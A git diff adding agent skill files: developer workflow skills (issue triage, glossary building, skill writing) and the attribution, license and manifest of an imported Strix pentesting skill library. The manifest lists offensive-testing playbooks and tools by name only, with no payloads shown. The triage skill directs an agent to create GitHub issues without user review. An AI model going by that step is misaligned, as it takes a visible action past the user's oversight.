a/imported-skills/mattpocock/triage-issue/SKILL.md b/imported-skills/mattpocock/triage-issue/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..cf4b055c72ee27f6248af243df5bdd77b8df3031 --- /dev/null +++ b/imported-skills/mattpocock/triage-issue/SKILL.md @@ -0,0 +1,102 @@ +--- +name: triage-issue +description: Triage a bug or issue by exploring the codebase to find root cause, then create a GitHub issue with a TDD-based fix plan. Use when user reports a bug, wants to file an issue, mentions "triage", or wants to investigate and plan a fix for a problem. +--- + +# Triage Issue + +Investigate a reported problem, find its root cause, and create a GitHub issue with a TDD fix plan. This is a mostly hands-off workflow - minimize questions to the user. + +## Process + +### 1. Capture the problem + +Get a brief description of the issue from the user. If they haven't provided one, ask ONE question: "What's the problem you're seeing?" + +Do NOT ask follow-up questions yet. Start investigating immediately. + +### 2. Explore and diagnose + +Use the Agent tool with subagent_type=Explore to deeply investigate the codebase. Your goal is to find: + +- **Where** the bug manifests (entry points, UI, API responses) +- **What** code path is involved (trace the flow) +- **Why** it fails (the root cause, not just the symptom) +- **What** related code exists (similar patterns, tests, adjacent modules) + +Look at: +- Related source files and their dependencies +- Existing tests (what's tested, what's missing) +- Recent changes to affected files (`git log` on relevant files) +- Error handling in the code path +- Similar patterns elsewhere in the codebase that work correctly + +### 3. Identify the fix approach + +Based on your investigation, determine: + +- The minimal change needed to fix the root cause +- Which modules/interfaces are affected +- What behaviors need to be verified via tests +- Whether this is a regression, missing feature, or design flaw + +### 4. Design TDD fix plan + +Create a concrete, ordered list of RED-GREEN cycles. Each cycle is one vertical slice: + +- **RED**: Describe a specific test that captures the broken/missing behavior +- **GREEN**: Describe the minimal code change to make that test pass + +Rules: +- Tests verify behavior through public interfaces, not implementation details +- One test at a time, vertical slices (NOT all tests first, then all code) +- Each test should survive internal refactors +- Include a final refactor step if needed +- **Durability**: Only suggest fixes that would survive radical codebase changes. Describe behaviors and contracts, not internal structure. Tests assert on observable outcomes (API responses, UI state, user-visible effects), not internal state. A good suggestion reads like a spec; a bad one reads like a diff. + +### 5. Create the GitHub issue + +Create a GitHub issue using `gh issue create` with the template below. Do NOT ask the user to review before creating - just create it and share the URL. + + + +## Problem + +A clear description of the bug or issue, including: +- What happens (actual behavior) +- What should happen (expected behavior) +- How to reproduce (if applicable) + +## Root Cause Analysis + +Describe what you found during investigation: +- The code path involved +- Why the current code fails +- Any contributing factors + +Do NOT include specific file paths, line numbers, or implementation details that couple to current code layout. Describe modules, behaviors, and contracts instead. The issue should remain useful even after major refactors. + +## TDD Fix Plan + +A numbered list of RED-GREEN cycles: + +1. **RED**: Write a test that [describes expected behavior] + **GREEN**: [Minimal change to make it pass] + +2. **RED**: Write a test that [describes next behavior] + **GREEN**: [Minimal change to make it pass] + +... + +**REFACTOR**: [Any cleanup needed after all tests pass] + +## Acceptance Criteria + +- [ ] Criterion 1 +- [ ] Criterion 2 +- [ ] All new tests pass +- [ ] Existing tests still pass + + + +After creating the issue, print the issue URL and a one-line summary of the root cause. diff --git a/imported-skills/mattpocock/ubiquitous-language/SKILL.md b/imported-skills/mattpocock/ubiquitous-language/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..c04615c37b58f7c47f98f83e8e7ffde8fdc31a70 --- /dev/null +++ b/imported-skills/mattpocock/ubiquitous-language/SKILL.md @@ -0,0 +1,93 @@ +--- +name: ubiquitous-language +description: Extract a DDD-style ubiquitous language glossary from the current conversation, flagging ambiguities and proposing canonical terms. Saves to UBIQUITOUS_LANGUAGE.md. Use when user wants to define domain terms, build a glossary, harden terminology, create a ubiquitous language, or mentions "domain model" or "DDD". +disable-model-invocation: true +--- + +# Ubiquitous Language + +Extract and formalize domain terminology from the current conversation into a consistent glossary, saved to a local file. + +## Process + +1. **Scan the conversation** for domain-relevant nouns, verbs, and concepts +2. **Identify problems**: + - Same word used for different concepts (ambiguity) + - Different words used for the same concept (synonyms) + - Vague or overloaded terms +3. **Propose a canonical glossary** with opinionated term choices +4. **Write to `UBIQUITOUS_LANGUAGE.md`** in the working directory using the format below +5. **Output a summary** inline in the conversation + +## Output Format + +Write a `UBIQUITOUS_LANGUAGE.md` file with this structure: + +```md +# Ubiquitous Language + +## Order lifecycle + +| Term | Definition | Aliases to avoid | +| ----------- | ------------------------------------------------------- | --------------------- | +| **Order** | A customer's request to purchase one or more items | Purchase, transaction | +| **Invoice** | A request for payment sent to a customer after delivery | Bill, payment request | + +## People + +| Term | Definition | Aliases to avoid | +| ------------ | ------------------------------------------- | ---------------------- | +| **Customer** | A person or organization that places orders | Client, buyer, account | +| **User** | An authentication identity in the system | Login, account | + +## Relationships + +- An **Invoice** belongs to exactly one **Customer** +- An **Order** produces one or more **Invoices** + +## Example dialogue + +> **Dev:** "When a **Customer** places an **Order**, do we create the **Invoice** immediately?" +> **Domain expert:** "No — an **Invoice** is only generated once a **Fulfillment** is confirmed. A single **Order** can produce multiple **Invoices** if items ship in separate **Shipments**." +> **Dev:** "So if a **Shipment** is cancelled before dispatch, no **Invoice** exists for it?" +> **Domain expert:** "Exactly. The **Invoice** lifecycle is tied to the **Fulfillment**, not the **Order**." + +## Flagged ambiguities + +- "account" was used to mean both **Customer** and **User** — these are distinct concepts: a **Customer** places orders, while a **User** is an authentication identity that may or may not represent a **Customer**. +``` + +## Rules + +- **Be opinionated.** When multiple words exist for the same concept, pick the best one and list the others as aliases to avoid. +- **Flag conflicts explicitly.** If a term is used ambiguously in the conversation, call it out in the "Flagged ambiguities" section with a clear recommendation. +- **Only include terms relevant for domain experts.** Skip the names of modules or classes unless they have meaning in the domain language. +- **Keep definitions tight.** One sentence max. Define what it IS, not what it does. +- **Show relationships.** Use bold term names and express cardinality where obvious. +- **Only include domain terms.** Skip generic programming concepts (array, function, endpoint) unless they have domain-specific meaning. +- **Group terms into multiple tables** when natural clusters emerge (e.g. by subdomain, lifecycle, or actor). Each group gets its own heading and table. If all terms belong to a single cohesive domain, one table is fine — don't force groupings. +- **Write an example dialogue.** A short conversation (3-5 exchanges) between a dev and a domain expert that demonstrates how the terms interact naturally. The dialogue should clarify boundaries between related concepts and show terms being used precisely. + + + +## Example dialogue + +> **Dev:** "How do I test the **sync service** without Docker?" + +> **Domain expert:** "Provide the **filesystem layer** instead of the **Docker layer**. It implements the same **Sandbox service** interface but uses a local directory as the **sandbox**." + +> **Dev:** "So **sync-in** still creates a **bundle** and unpacks it?" + +> **Domain expert:** "Exactly. The **sync service** doesn't know which layer it's talking to. It calls `exec` and `copyIn` — the **filesystem layer** just runs those as local shell commands." + + + +## Re-running + +When invoked again in the same conversation: + +1. Read the existing `UBIQUITOUS_LANGUAGE.md` +2. Incorporate any new terms from subsequent discussion +3. Update definitions if understanding has evolved +4. Re-flag any new ambiguities +5. Rewrite the example dialogue to incorporate new terms diff --git a/imported-skills/mattpocock/write-a-skill/SKILL.md b/imported-skills/mattpocock/write-a-skill/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..be25de2d9abf6e05d2306b3964d0e1dde281e1cc --- /dev/null +++ b/imported-skills/mattpocock/write-a-skill/SKILL.md @@ -0,0 +1,117 @@ +--- +name: write-a-skill +description: Create new agent skills with proper structure, progressive disclosure, and bundled resources. Use when user wants to create, write, or build a new skill. +--- + +# Writing Skills + +## Process + +1. **Gather requirements** - ask user about: + - What task/domain does the skill cover? + - What specific use cases should it handle? + - Does it need executable scripts or just instructions? + - Any reference materials to include? + +2. **Draft the skill** - create: + - SKILL.md with concise instructions + - Additional reference files if content exceeds 500 lines + - Utility scripts if deterministic operations needed + +3. **Review with user** - present draft and ask: + - Does this cover your use cases? + - Anything missing or unclear? + - Should any section be more/less detailed? + +## Skill Structure + +``` +skill-name/ +├── SKILL.md # Main instructions (required) +├── REFERENCE.md # Detailed docs (if needed) +├── EXAMPLES.md # Usage examples (if needed) +└── scripts/ # Utility scripts (if needed) + └── helper.js +``` + +## SKILL.md Template + +```md +--- +name: skill-name +description: Brief description of capability. Use when [specific triggers]. +--- + +# Skill Name + +## Quick start + +[Minimal working example] + +## Workflows + +[Step-by-step processes with checklists for complex tasks] + +## Advanced features + +[Link to separate files: See [REFERENCE.md](REFERENCE.md)] +``` + +## Description Requirements + +The description is **the only thing your agent sees** when deciding which skill to load. It's surfaced in the system prompt alongside all other installed skills. Your agent reads these descriptions and picks the relevant skill based on the user's request. + +**Goal**: Give your agent just enough info to know: + +1. What capability this skill provides +2. When/why to trigger it (specific keywords, contexts, file types) + +**Format**: + +- Max 1024 chars +- Write in third person +- First sentence: what it does +- Second sentence: "Use when [specific triggers]" + +**Good example**: + +``` +Extract text and tables from PDF files, fill forms, merge documents. Use when working with PDF files or when user mentions PDFs, forms, or document extraction. +``` + +**Bad example**: + +``` +Helps with documents. +``` + +The bad example gives your agent no way to distinguish this from other document skills. + +## When to Add Scripts + +Add utility scripts when: + +- Operation is deterministic (validation, formatting) +- Same code would be generated repeatedly +- Errors need explicit handling + +Scripts save tokens and improve reliability vs generated code. + +## When to Split Files + +Split into separate files when: + +- SKILL.md exceeds 100 lines +- Content has distinct domains (finance vs sales schemas) +- Advanced features are rarely needed + +## Review Checklist + +After drafting, verify: + +- [ ] Description includes triggers ("Use when...") +- [ ] SKILL.md under 100 lines +- [ ] No time-sensitive info +- [ ] Consistent terminology +- [ ] Concrete examples included +- [ ] References one level deep diff --git a/imported-skills/mattpocock/zoom-out/SKILL.md b/imported-skills/mattpocock/zoom-out/SKILL.md new file mode 100644 index 0000000000000000000000000000000000000000..3764ae905cd8ff3d40ce03aceb6496ad2fc5f05d --- /dev/null +++ b/imported-skills/mattpocock/zoom-out/SKILL.md @@ -0,0 +1,7 @@ +--- +name: zoom-out +description: Tell the agent to zoom out and give broader context or a higher-level perspective. Use when you're unfamiliar with a section of code or need to understand how it fits into the bigger picture. +disable-model-invocation: true +--- + +I don't know this area of code well. Go up a layer of abstraction. Give me a map of all the relevant modules and callers. diff --git a/imported-skills/strix/ATTRIBUTION.md b/imported-skills/strix/ATTRIBUTION.md new file mode 100644 index 0000000000000000000000000000000000000000..4351c705177a42c64b8d0498f85ec429ea09813c --- /dev/null +++ b/imported-skills/strix/ATTRIBUTION.md @@ -0,0 +1,97 @@ +# Strix Skill Import — Attribution & Usage + +This directory contains security-testing skills and agent-architecture patterns +sourced from [Strix](https://github.com/usestrix/strix), an open-source +multi-agent cybersecurity penetration testing tool. + +## Provenance + +| Field | Value | +|---|---| +| Upstream repo | https://github.com/usestrix/strix | +| Revision | `15c95718e600897a2a532a613a1c8fa6b712b144` | +| Revision date | 2026-04-13 | +| Upstream license | Apache License 2.0 (see `LICENSE`) | +| Imported on | 2026-04-17 | + +## What's in here + +- `skills/` — **38 upstream skill markdown files** copied verbatim, organized in + their original category tree (vulnerabilities, tooling, frameworks, etc.). +- `agent-patterns/` — **5 agent-architecture notes** distilled from the Strix + codebase (orchestrator/worker, skill-injection, shared-wiki-memory, + sandboxed-tool-runtime, scan-mode-as-skill). These are original + documentation, not copies — they describe reusable patterns observed in the + Strix architecture. +- `MANIFEST.json` — machine-readable index with name, description, category, + and line count for every entry. +- `build_manifest.py` — regenerator for `MANIFEST.json`. +- `LICENSE` — Apache 2.0 license text from the upstream repo. + +## License compliance + +Per Apache-2.0 §4: +- Upstream `LICENSE` is preserved alongside the imported files. +- No `NOTICE` file exists in upstream — none required to reproduce. +- Files have not been modified. Any downstream modification should add a + prominent notice describing the change, per §4(b). + +## Why these were imported + +Strix's skill library is one of the highest-quality open catalogues of +pentesting knowledge available as structured markdown with YAML frontmatter. +Its format is **directly compatible** with this project's wiki/knowledge-graph +ingestion pipeline, which already consumes markdown-with-frontmatter for +skills and agents. + +The agent-patterns notes capture *design* insights — how Strix structures a +multi-agent security runtime — that apply well beyond security: +orchestrator/worker decomposition, skill injection, shared wiki memory, +sandboxed tool execution, and scan-mode-as-skill are general multi-agent +architecture patterns. + +## How to integrate + +These files are **staged** in the repo but not yet deployed to +`~/.claude/skills/`. Two ways to consume them: + +### Option A — Feed them to the knowledge graph directly + +Use the wiki/graph builders with `--extra-dirs` to include this tree in the +scan without installing the skills globally. Requires a minor patch to +`catalog_builder.py` if not already supported. + +### Option B — Install as global skills + +Run `python src/import_strix_skills.py --install` (see that script for +options). It creates one directory per Strix skill under `~/.claude/skills/` +with the naming convention `strix--/SKILL.md` and prepends an +attribution header to each file so provenance stays visible inline. + +## Which skills are highest value for general use + +Not every Strix skill applies outside security testing. These generalise: + +| Skill | Why it's broadly useful | +|---|---| +| `coordination/root_agent` | Multi-agent orchestration template — read first if designing any agent swarm | +| `coordination/source_aware_whitebox` | White-box coordination pattern applicable to any code-review agent | +| `scan_modes/{quick,standard,deep}` | Template for tiered operational modes | +| `custom/source_aware_sast` | Concrete SAST playbook — semgrep + ast-grep + gitleaks + trivy | +| `tooling/semgrep` | Semgrep playbook — universally useful for code review | +| `tooling/nmap` | Network recon — infra/ops workflows | +| All `agent-patterns/*` | Pure architecture patterns — 100% domain-agnostic | + +Security-specific skills (XSS, SQLi, IDOR, etc.) remain valuable for any +project that touches web application code review. + +## Limitations + +- **Skills only, not the runtime** — Strix's agent runtime (the actual + Python engine, Docker sandbox, tool-server) is not imported. Those + components are design-referenced in `agent-patterns/` but not copied. +- **No fine-tuning or prompts-as-code** — these are human-readable skill + documents, not prompt-chains or LangChain templates. +- **Source-aware tooling assumed to exist** — SAST skills assume `semgrep`, + `ast-grep`, `gitleaks`, `trufflehog`, and `trivy` are installed on the + agent's runtime path. diff --git a/imported-skills/strix/LICENSE b/imported-skills/strix/LICENSE new file mode 100644 index 0000000000000000000000000000000000000000..d5ac2a478ff57eef267ea02e9508720e9febdb43 --- /dev/null +++ b/imported-skills/strix/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright 2025 OmniSecure Inc. + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/imported-skills/strix/MANIFEST.json b/imported-skills/strix/MANIFEST.json new file mode 100644 index 0000000000000000000000000000000000000000..a85ce2a48115c534ba29f0184bbdb305c3bfb26b --- /dev/null +++ b/imported-skills/strix/MANIFEST.json @@ -0,0 +1,312 @@ +{ + "upstream": "https://github.com/usestrix/strix", + "upstream_revision": "15c95718e600897a2a532a613a1c8fa6b712b144", + "upstream_date": "2026-04-13", + "license": "Apache-2.0", + "total_skills": 38, + "total_patterns": 5, + "total": 43, + "entries": [ + { + "name": "root-agent", + "description": "Orchestration layer that coordinates specialized subagents for security assessments", + "category": "coordination", + "source_path": "skills/coordination/root_agent.md", + "lines": 92 + }, + { + "name": "source-aware-whitebox", + "description": "Coordination playbook for source-aware white-box testing with static triage and dynamic validation", + "category": "coordination", + "source_path": "skills/coordination/source_aware_whitebox.md", + "lines": 68 + }, + { + "name": "source-aware-sast", + "description": "Practical source-aware SAST and AST playbook for semgrep, ast-grep, gitleaks, and trivy fs", + "category": "custom", + "source_path": "skills/custom/source_aware_sast.md", + "lines": 167 + }, + { + "name": "fastapi", + "description": "Security testing playbook for FastAPI applications covering ASGI, dependency injection, and API vulnerabilities", + "category": "frameworks", + "source_path": "skills/frameworks/fastapi.md", + "lines": 191 + }, + { + "name": "nestjs", + "description": "Security testing playbook for NestJS applications covering guards, pipes, decorators, module boundaries, and multi-transport auth", + "category": "frameworks", + "source_path": "skills/frameworks/nestjs.md", + "lines": 225 + }, + { + "name": "nextjs", + "description": "Security testing playbook for Next.js covering App Router, Server Actions, RSC, and Edge runtime vulnerabilities", + "category": "frameworks", + "source_path": "skills/frameworks/nextjs.md", + "lines": 228 + }, + { + "name": "graphql", + "description": "GraphQL security testing covering introspection, resolver injection, batching attacks, and authorization bypass", + "category": "protocols", + "source_path": "skills/protocols/graphql.md", + "lines": 276 + }, + { + "name": "deep", + "description": "Exhaustive security assessment with maximum coverage, depth, and vulnerability chaining", + "category": "scan_modes", + "source_path": "skills/scan_modes/deep.md", + "lines": 163 + }, + { + "name": "quick", + "description": "Time-boxed rapid assessment targeting high-impact vulnerabilities", + "category": "scan_modes", + "source_path": "skills/scan_modes/quick.md", + "lines": 70 + }, + { + "name": "standard", + "description": "Balanced security assessment with systematic methodology and full attack surface coverage", + "category": "scan_modes", + "source_path": "skills/scan_modes/standard.md", + "lines": 101 + }, + { + "name": "firebase-firestore", + "description": "Firebase/Firestore security testing covering security rules, Cloud Functions, and client-side trust issues", + "category": "technologies", + "source_path": "skills/technologies/firebase_firestore.md", + "lines": 211 + }, + { + "name": "supabase", + "description": "Supabase security testing covering Row Level Security, PostgREST, Edge Functions, and service key exposure", + "category": "technologies", + "source_path": "skills/technologies/supabase.md", + "lines": 268 + }, + { + "name": "ffuf", + "description": "ffuf fuzzing syntax with matcher/filter strategy and non-interactive defaults.", + "category": "tooling", + "source_path": "skills/tooling/ffuf.md", + "lines": 66 + }, + { + "name": "httpx", + "description": "ProjectDiscovery httpx probing syntax, exact probe flags, and automation-safe output patterns.", + "category": "tooling", + "source_path": "skills/tooling/httpx.md", + "lines": 77 + }, + { + "name": "katana", + "description": "Katana crawler syntax, depth/js/known-files behavior, and stable concurrency controls.", + "category": "tooling", + "source_path": "skills/tooling/katana.md", + "lines": 76 + }, + { + "name": "naabu", + "description": "Naabu port-scanning syntax with host input, scan-type, verification, and rate controls.", + "category": "tooling", + "source_path": "skills/tooling/naabu.md", + "lines": 68 + }, + { + "name": "nmap", + "description": "Canonical Nmap CLI syntax, two-pass scanning workflow, and sandbox-safe bounded scan patterns.", + "category": "tooling", + "source_path": "skills/tooling/nmap.md", + "lines": 66 + }, + { + "name": "nuclei", + "description": "Exact Nuclei command structure, template selection, and bounded high-throughput execution controls.", + "category": "tooling", + "source_path": "skills/tooling/nuclei.md", + "lines": 67 + }, + { + "name": "semgrep", + "description": "Exact Semgrep CLI structure, metrics-off scanning, scoped ruleset selection, and automation-safe output patterns.", + "category": "tooling", + "source_path": "skills/tooling/semgrep.md", + "lines": 72 + }, + { + "name": "sqlmap", + "description": "sqlmap target syntax, non-interactive execution, and common validation/enumeration workflows.", + "category": "tooling", + "source_path": "skills/tooling/sqlmap.md", + "lines": 67 + }, + { + "name": "subfinder", + "description": "Subfinder passive subdomain enumeration syntax, source controls, and pipeline-ready output patterns.", + "category": "tooling", + "source_path": "skills/tooling/subfinder.md", + "lines": 66 + }, + { + "name": "authentication-jwt", + "description": "JWT and OIDC security testing covering token forgery, algorithm confusion, and claim manipulation", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/authentication_jwt.md", + "lines": 156 + }, + { + "name": "broken-function-level-authorization", + "description": "BFLA testing for action-level authorization failures across endpoints, admin functions, and API operations", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/broken_function_level_authorization.md", + "lines": 154 + }, + { + "name": "business-logic", + "description": "Business logic testing for workflow bypass, state manipulation, and domain invariant violations", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/business_logic.md", + "lines": 178 + }, + { + "name": "csrf", + "description": "CSRF testing covering token bypass, SameSite cookies, CORS misconfigurations, and state-changing request abuse", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/csrf.md", + "lines": 198 + }, + { + "name": "idor", + "description": "IDOR/BOLA testing for object-level authorization failures and cross-account data access", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/idor.md", + "lines": 213 + }, + { + "name": "information-disclosure", + "description": "Information disclosure testing covering error messages, debug endpoints, metadata leakage, and source exposure", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/information_disclosure.md", + "lines": 183 + }, + { + "name": "insecure-file-uploads", + "description": "File upload security testing covering extension bypass, content-type manipulation, and path traversal", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/insecure_file_uploads.md", + "lines": 188 + }, + { + "name": "mass-assignment", + "description": "Mass assignment testing for unauthorized field binding and privilege escalation via API parameters", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/mass_assignment.md", + "lines": 153 + }, + { + "name": "open-redirect", + "description": "Open redirect testing for phishing pivots, OAuth token theft, and allowlist bypass", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/open_redirect.md", + "lines": 165 + }, + { + "name": "path-traversal-lfi-rfi", + "description": "Path traversal and file inclusion testing for local/remote file access and code execution", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/path_traversal_lfi_rfi.md", + "lines": 190 + }, + { + "name": "race-conditions", + "description": "Race condition testing for TOCTOU bugs, double-spend, and concurrent state manipulation", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/race_conditions.md", + "lines": 181 + }, + { + "name": "rce", + "description": "RCE testing covering command injection, deserialization, template injection, and code evaluation", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/rce.md", + "lines": 238 + }, + { + "name": "sql-injection", + "description": "SQL injection testing covering union, blind, error-based, and ORM bypass techniques", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/sql_injection.md", + "lines": 190 + }, + { + "name": "ssrf", + "description": "SSRF testing for cloud metadata access, internal service discovery, and protocol smuggling", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/ssrf.md", + "lines": 181 + }, + { + "name": "subdomain-takeover", + "description": "Subdomain takeover testing for dangling DNS records and unclaimed cloud resources", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/subdomain_takeover.md", + "lines": 158 + }, + { + "name": "xss", + "description": "XSS testing covering reflected, stored, and DOM-based vectors with CSP bypass techniques", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/xss.md", + "lines": 206 + }, + { + "name": "xxe", + "description": "XXE testing for external entity injection, file disclosure, and SSRF via XML parsers", + "category": "vulnerabilities", + "source_path": "skills/vulnerabilities/xxe.md", + "lines": 220 + }, + { + "name": "orchestrator-worker-pattern", + "description": "Hierarchical agent pattern \u2014 a root orchestrator decomposes work and spawns specialized workers with focused context", + "category": "agent-patterns", + "source_path": "agent-patterns/orchestrator-worker-pattern.md", + "lines": 54 + }, + { + "name": "sandboxed-tool-runtime", + "description": "Agent tool execution should happen inside a disposable container, not the host \u2014 isolation by default, not opt-in", + "category": "agent-patterns", + "source_path": "agent-patterns/sandboxed-tool-runtime.md", + "lines": 52 + }, + { + "name": "scan-mode-as-skill", + "description": "Operational modes (quick/standard/deep) should be first-class skills, not hard-coded branching \u2014 each mode defines its own phases, priorities, and completion criteria", + "category": "agent-patterns", + "source_path": "agent-patterns/scan-mode-as-skill.md", + "lines": 57 + }, + { + "name": "shared-wiki-memory-pattern", + "description": "Multi-agent systems need a shared, append-only memory \u2014 one canonical note per entity, updated by every agent that touches it", + "category": "agent-patterns", + "source_path": "agent-patterns/shared-wiki-memory-pattern.md", + "lines": 47 + }, + { + "name": "skill-injection-pattern", + "description": "Load up to N specialized skills into an agent at spawn time \u2014 dynamically tailor expertise per subtask", + "category": "agent-patterns", + "source_path": "agent-patterns/skill-injection-pattern.md", + "lines": 61 + } + ] +} diff --git a/imported-skills/strix/agent-patterns/orchestrator-worker-pattern.md b/imported-skills/strix/agent-patterns/orchestrator-worker-pattern.md new file mode 100644 index 0000000000000000000000000000000000000000..070c6a9944fd93af34158f0fd28941df23843373 --- /dev/null +++ b/imported-skills/strix/agent-patterns/orchestrator-worker-pattern.md @@ -0,0 +1,54 @@ +--- +name: 